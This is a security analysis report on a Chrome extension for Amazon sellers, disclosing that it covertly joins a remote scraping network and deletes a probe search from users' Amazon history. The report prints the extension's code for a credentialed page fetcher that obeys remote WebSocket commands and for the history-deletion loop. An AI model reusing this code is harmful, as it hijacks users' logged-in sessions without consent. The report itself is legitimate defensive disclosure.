Is Amazon Index Checker safe?
SellerApp Amazon Index Checker is high risk. On service-worker start, Amazon Index Checker opens a persistent WebSocket to SellerApp's scraper-net endpoint, which can send page URLs/parser instructions, fetch pages with credentials included, and return parsed data with raw HTML.…
Who publishes itSellerApp - 4 other listings from the same operator, 4 of them carrying a finding
SellerApp - 4 other listings from the same operator, 4 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
4 other listings published from this account, 126k+ users between them. 4 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension joins a remote scraping network after install
On service-worker start, Amazon Index Checker opens a persistent WebSocket to SellerApp's scraper-net endpoint, which can send page URLs/parser instructions, fetch pages with credentials included, and return parsed data with raw HTML.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-940
- Source
- Dynamic sandbox
You install the extension or Chrome starts its service worker.
No click in the extension UI is required for the socket initializer to run.
The extension opens a persistent WebSocket that can receive URLs to fetch and parse.
The response sent back over the socket can include parsed page data, request identifiers, status, and optional raw HTML.
Service-worker WebSocket frames were not captured during dynamic analysis; the code constructs this endpoint and dynamic analysis observed socket_id storage after startup.
- Socket identifierdd24c4a8
Lets the remote service associate requests and responses with this browser profile.
- Network address198.51.100.24 (illustrative)
Ties the scraper connection to your current network location.
- Extension typeindex-checker
Labels this browser as an index-checker node for the remote service.
- Assigned page URLhttps://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2
Shows which page the extension is directed to fetch from your browser.
- Parsed page data{"status":200,"scrapeUrl":"https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2","request_id":"req-7f2c9a"}
Returns page-derived product, seller, review, question, offer, or search-result fields to the remote service.
- Optional page HTML<html><body><div id="search">Amazon search results</div></body></html> (illustrative)
Can include the fetched page markup when the incoming command asks for HTML.
Dynamic analysis observed the extension creating a socket identifier shortly after install, matching the scraper-socket init code path.
- Location
- chrome.storage.local key 'socket_id'
{ "socket_id": "dd24c4a8"}Every 30 seconds
After the socket opens, the service worker sends a health message every 30 seconds and retries closed connections with exponential backoff.
Startup, socket construction, command handling, and page fetching
Readable startup call
assets/chunk-DHyWPb57.jsfunction Au(e) { console.log(e.version), chrome.runtime.reload()}ts.initializeSocket("index-checker", "");chrome.runtime.onUpdateAvailable.addListener(Au);Readable socket initializer and command handler
assets/chunk-DHyWPb57.js fa = (p, k) => { Kt = Kt, (0, n.get)("socket_id").then(D => { j = D }).catch(() => { j = (0, r.v4)(), (0, n.set)("socket_id", j).then(() => {}) }).finally(() => t(void 0, void 0, void 0, function*() { var D; try { Xe = yield(0, n.get)("country_id"), ht = yield(0, n.get)("ip_address") } catch { const u = yield(yield fetch("https://lumtest.com/myip.json")).json(); Xe = u.country, ht = u.ip, (0, n.set)("country_id", Xe), (0, n.set)("ip_address", ht) } let g = ""; try { g = yield(0, s.fetchDetails)(S[Xe]) } catch {} if (g) { be = (0, s.parse)(g, a.zipCodeSchema); const d = (0, s.parse)(g, a.userLoggedInSchema); !((D = d == null ? void 0 : d.sign_in_button_url) === null || D === void 0) && D.includes("signin") ? Qt = !1 : Qt = !0 } else be = { zip_code: "" }; re = (0, r.v4)(), Qe = new WebSocket(`${sa}/scraper-net/websocket?id=${j}&instance_id=${re}&geo=${Xe}&ext_type=${p}&account_id=${k}&ip_address=${ht}&zip_code=${be==null?void 0:be.zip_code}&is_user_logged_in=${Qt}`), ha(Qe, j, p) })) }; e.initializeSocket = fa; const ha = (p, k, D) => { p.onopen = () => t(void 0, void 0, void 0, function*() { console.log("WebSocket connection established........"), et = 1e3, Fr = 6e4, mt = 100, Ee && clearInterval(Ee), Ee = setInterval(() => { p.send(JSON.stringify({ socket_id: k, status: 200, type: "health", zip_code: be == null ? void 0 : be.zip_code })) }, 3e4); try { const d = yield ma(); p.send(JSON.stringify({ socket_id: k, status: 200, type: "login_status", login_status: d })) } catch { console.log("Error in checking multiple countries login") } }), p.onmessage = function(d) { return t(this, void 0, void 0, function*() { const y = d.data, u = JSON.parse(y); if (u.url || u.parser_config_url.page_type === "RUFUS_EXTENDED") { let v = u.url; const M = u.parser_config_url.page_type; if (M === "RUFUS_EXTENDED") { const O = S[u.parser_config_url.geo] || "https://www.amazon.in"; if (v = `${O}/rufus/cl/streaming?tabId=${u.tabId||(0,r.v4)()}&ref=nl_cl_dsk_csq&programId=NILE_CLASSIC:desktop-cl`, !u.rufusToken) { const Y = u.url || O, E = yield(0, s.fetchDetails)(Y); typeof E == "string" && (u.rufusToken = yield(0, e.getRufusToken)(E, Y)) } } if (u.zipcode && v) { const Y = i.default.parseUrl(v).url, E = /https?:\/\/(www\.)?([a-zA-Z0-9.-]+)/, H = Y.match(E); if (H) { const X = H[0], V = yield(0, s.fetchDetails)(X); yield(0, o.setZipCode)(V, X, u.zipcode) } } const N = M === "RUFUS_EXTENDED" ? { method: "POST", body: { queryContext: { query: "best mobile cover to buy", actionType: "SEARCH", qis: "NileCLTextInput" }, pageContext: { pageType: "SEARCH_RESULTS", targetPageType: "SEARCH_RESULTS", originPageType: "SEARCH_RESULTS", targetUrl: "https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2", originUrl: "https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2", targetPageMetadata: [{ type: "KEYWORDS", value: "shoes" }], pageMetadata: [{ type: "KEYWORDS", value: "shoes" }], originPageMetadata: [{ type: "KEYWORDS", value: "shoes" }] } }, headers: { "Content-Type": "application/json", "anti-csrftoken-a2z": "hHqVzDHmU7Is8nzCo2Y2worrxE6Le8i4eNuimVauLTHwAAAAAGmv31piMDI3OTI3Mi0xN2VjLTRkM2YtYjI5Yi0yMjlkMjViMmJjOGM=", Accept: "*/*", "Cache-Control": "no-cache", "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin" }, isStream: !0 } : {}; (0, s.fetchDetails)(v, !1, 1, 500, N).then(O => t(this, void 0, void 0, function*() { let Y = {}; typeof O == "object" && O.status !== 200 ? Y = { socket_id: k, data: {}, timestamp: new Date, status: O.status, scrapeUrl: v, instance_id: re, version: h.version, html: "", request_id: u.request_id } : typeof O == "string" && (M === "RUFUS_EXTENDED" ? Y = yield(0, e.getRufusExtendedDetails)(O, u.url, u.request_id): M === "KEYWORD_SEARCH" ? Y = yield aa(O, v, u.parse_html, u.all_pages || !1, (u == null ? void 0 : u.page_limit) || 7, u.request_id): M === "PRODUCT_LISTING" ? Y = ia(O, v, u.parse_html, u.request_id) : M === "SELLER_PROFILE" ? Y = oa(O, v, u.parse_html, u.request_id) : M === "QNA_DETAILS" ? Y = la(O, v, u.parse_html, u.request_id) : M === "REVIEW_DETAILS" ? Y = yield ua(O, v, u.parse_html, u.request_id): M === "BEST_SELLER" ? Y = da(O, v, u.parse_html, u.request_id) : M === "OFFERS_DETAILS" ? Y = yield ca(O, v, u.parse_html, u.request_id): M === "RUFUS_DETAILS" && (Y = yield(0, e.getRufusDetails)(O, u.url, u.query, u.request_id, u.searchSource))), p.send(JSON.stringify(Y)) })).catch(O => { p.send(JSON.stringify({ error: "parse error", request_id: u.request_id, status: 500 })) }) } }) }, p.onerror = function(d) { Ee && clearInterval(Ee), console.error("WebSocket error:", d) }, p.onclose = function(d) { Ee && clearInterval(Ee), g(D) }; function g(d) { (!p || p.readyState === WebSocket.CLOSED) && (et < Fr && (et *= 2), mt > 0 ? (console.log(`Attempting to reconnect in ${et} ms. Attempts left: ${mt}`), setTimeout(function() { (0, e.initializeSocket)(d, Kt), mt-- }, et)) : console.error("Maximum reconnection attempts reached. Unable to establish WebSocket connection.")) } },Readable page fetch helper
assets/chunk-BqacqnUB.js n = (E, d = !1, f = 1, _ = 500, g = {}) => t(void 0, void 0, void 0, function*() { var A, I; let y = 0; for (; y <= f;) try { const P = yield fetch(E, { method: g.method || "GET", mode: "cors", credentials: "include", headers: g.headers || {}, body: g.body ? JSON.stringify(g.body) : void 0 }); if (P.url.includes("ap/signin") && (y = f), P.redirected && d && y !== f) y++, yield new Promise(x => setTimeout(x, _ * Math.pow(2, y))); else { if (y === f && P.status !== 200) return { status: 302 }; if (P.status === 200) { if (g.isStream) { if (!P.body) throw new Error("ReadableStream not supported in response"); const x = P.body.getReader(), w = new TextDecoder("utf-8"); let H = "", V = ""; for (;;) { const { value: ce, done: _e } = yield x.read(); if (_e) break; V += w.decode(ce, { stream: !0 }); const k = V.split(``); V = k.pop() || ""; for (const b of k) { if (!b.startsWith("data:")) continue; const D = b.replace(/^data:\s*/, "").trim(); if (D) try { const v = JSON.parse(D); H += (A = v.htmlRenderedChunk) !== null && A !== void 0 ? A : "" } catch (v) { console.error("❌ Invalid JSON chunk:", v.message) } } } if (V.startsWith("data:")) { const ce = V.replace(/^data:\s*/, "").trim(); if (ce) try { const _e = JSON.parse(ce); H += (I = _e.htmlRenderedChunk) !== null && I !== void 0 ? I : "" } catch (_e) { console.error("❌ Invalid JSON chunk:", _e.message) } } return H } return yield P.text() } else return { status: P.status } } } catch { return { status: 500 } } }); e.fetchDetails = n;- scrapernet.sellerapp.com
SellerApp scraper-net WebSocket endpoint that receives connection metadata, health/login frames, and page parsing results.
- lumtest.com
IP lookup endpoint used by the initializer before it builds the scraper-net WebSocket URL.
- amazon.in
Example Amazon marketplace host fetched and parsed by the code path shown in the service-worker bundle.
Extension deletes 'samsung' search history across 23 Amazon marketplaces
On install, the extension searches 'samsung' on every Amazon marketplace to detect login status, then DELETEs that entry from search history each time.
Dynamic analysis caught 7 DELETEs in 30s pre-interaction; 6 of 7 returned 200.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You install the extension.
No additional setup or Amazon login is required before the behavior fires.
Probes 23 Amazon marketplaces for login status via a hardcoded 'samsung' search, then deletes that entry from your account history on each marketplace.
The DELETE requests fire automatically, before any user navigation, and are not disclosed in the extension UI or Chrome Web Store listing.
HTTP 200 (deletion confirmed). Equivalent requests observed to completion.amazon.sg, completion.amazon.com.au, completion.amazon.co.jp, completion.amazon.com.br, completion.amazon.co.za (all 200); completion.amazon.in returned 502.
Login probe + search-history delete loop
Hardcoded keyword
assets/chunk-BwbMeO38.js:3322const PROBE_KEYWORD = "samsung";Per-marketplace login probe with cleanup
assets/chunk-BwbMeO38.js:3763-3819for (const countryCode of Object.keys(AMAZON_DOMAINS)) { const html = await fetchDetails(`${AMAZON_DOMAINS[countryCode]}/s?k=${PROBE_KEYWORD}`); const loginStatus = parse(html, userLoggedInSchema); const result = { geo: countryCode }; result.isLoggedIn = !loginStatus?.sign_in_button_url?.includes('signin'); // ... collect product/review data ... results.push(result); try { await deleteRecentSearch(countryCode); // always runs, regardless of login } catch { console.log('Error in deleting recent search'); }}DELETE request to Amazon recent-search API
assets/chunk-BwbMeO38.js:3821-3824const deleteRecentSearch = (countryCode) => { const marketplace = MARKETPLACE_TABLE[countryCode]; return axios.delete( `https://completion.${marketplace.domain}/api/2017/recentsearches` + `?mid=${marketplace.marketplace_id}&s-value=${PROBE_KEYWORD}&s-search-alias=aps` );};- completion.amazon.com
Amazon US recent-search API; DELETE removes 'samsung' from account history (marketplace ATVPDKIKX0DER)
- completion.amazon.co.uk
Amazon UK recent-search API (marketplace A1F83G8C2ARO7P)
- completion.amazon.de
Amazon DE recent-search API (marketplace A1PA6795UKMFR9)
- completion.amazon.co.jp
Amazon JP recent-search API; DELETE confirmed HTTP 200 during dynamic analysis
- completion.amazon.in
Amazon IN recent-search API; DELETE returned HTTP 502 during dynamic analysis
- completion.amazon.com.au
Amazon AU recent-search API; DELETE confirmed HTTP 200 during dynamic analysis
- completion.amazon.eg
Amazon EG recent-search API; DELETE confirmed HTTP 200 during dynamic analysis
The extension is advertised as a keyword ranking and index checker for Amazon sellers. Probing all 23 marketplaces on install (before any seller enters a keyword) and then erasing the probe from account history are not functions disclosed in the Chrome Web Store listing or the extension UI. The deletion only targets the single hardcoded keyword 'samsung' — it does not read or transmit search history, and it does not affect other searches.